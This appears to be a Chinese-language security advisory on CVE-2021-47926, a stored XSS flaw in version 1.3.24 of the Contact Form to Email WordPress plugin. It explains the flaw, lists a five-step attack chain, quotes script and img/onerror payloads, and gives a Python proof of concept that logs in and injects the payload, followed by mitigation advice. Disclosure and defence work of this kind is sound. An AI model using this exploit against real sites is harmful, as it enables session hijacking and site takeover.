IPBUF安全漏洞报告
English
CVE-2021-47926 CVSS 6.4 中危

CVE-2021-47926 Contact Form to Email存储型XSS漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47926
漏洞类型
存储型跨站脚本攻击
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Contact Form to Email

相关标签

XSS存储型XSSWordPressContact Form to EmailCVE-2021-47926

漏洞概述

Contact Form to Email 1.3.24 版本存在存储型跨站脚本(XSS)漏洞。由于该插件对表单名称字段缺乏足够的输入过滤和输出编码,经过身份认证的攻击者可以在创建表单时,在表单名称中注入恶意脚本代码。当具有管理员权限或其他用户访问受影响的表单管理页面时,这些恶意脚本将在其浏览器中自动执行,从而导致会话劫持或凭证窃取等安全风险。

技术细节

该漏洞属于存储型跨站脚本(Stored XSS)漏洞。漏洞根源在于 Contact Form to Email 插件在处理“表单名称”参数时,未对用户提交的数据进行严格的过滤和转义。攻击者首先需要具备低权限账户登录 WordPress 后台,在创建或编辑联系表单时,将包含 JavaScript 代码的恶意载荷(例如 <script>alert(document.cookie)</script>)注入到表单名称字段中。该数据被存储在服务器数据库中。随后,当管理员或其他用户访问表单管理列表页面时,后端应用直接从数据库读取未经过滤的表单名称并渲染到 HTML 页面中,导致浏览器解析并执行攻击者注入的恶意脚本。由于利用范围(S:C),该攻击可波及管理后台的其他功能区域,攻击者可利用此漏洞完全控制受影响的站点。

攻击链分析

STEP 1
步骤1
攻击者使用低权限账户登录 WordPress 后台。
STEP 2
步骤2
攻击者导航至 Contact Form to Email 插件管理页面,创建新表单。
STEP 3
步骤3
攻击者在“表单名称”字段中输入包含恶意 JavaScript 代码的载荷并保存。
STEP 4
步骤4
恶意载荷被持久化存储在数据库中。
STEP 5
步骤5
当管理员或其他用户访问表单管理列表页面时,恶意脚本在浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin.php?page=cp_contact_form_to_email" login_url = "http://example.com/wp-login.php" # Attacker credentials (low privilege) username = "attacker" password = "password" # Start a session to maintain cookies session = requests.Session() # Step 1: Authenticate to WordPress login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post(login_url, data=login_data) # Step 2: Prepare the XSS payload # Injecting script into the vulnerable form name field xss_payload = "<img src=x onerror=alert('XSS-CVE-2021-47926')>" # Step 3: Send exploit request data = { "cp_contact_form_to_email_name": xss_payload, "cp_contact_form_to_email_subject": "Test", "cp_contact_form_to_email_emailto": "[email protected]", "cp_contact_form_to_email_submit": "Save" } response = session.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the admin form list page for execution.") else: print("[-] Failed to send payload.")

影响范围

Contact Form to Email 1.3.24

防御指南

临时缓解措施
建议立即升级插件至最新版本。若无法升级,应暂时限制低权限用户的表单创建权限,并使用Web应用防火墙(WAF)拦截针对表单名称字段的恶意脚本注入请求。

参考链接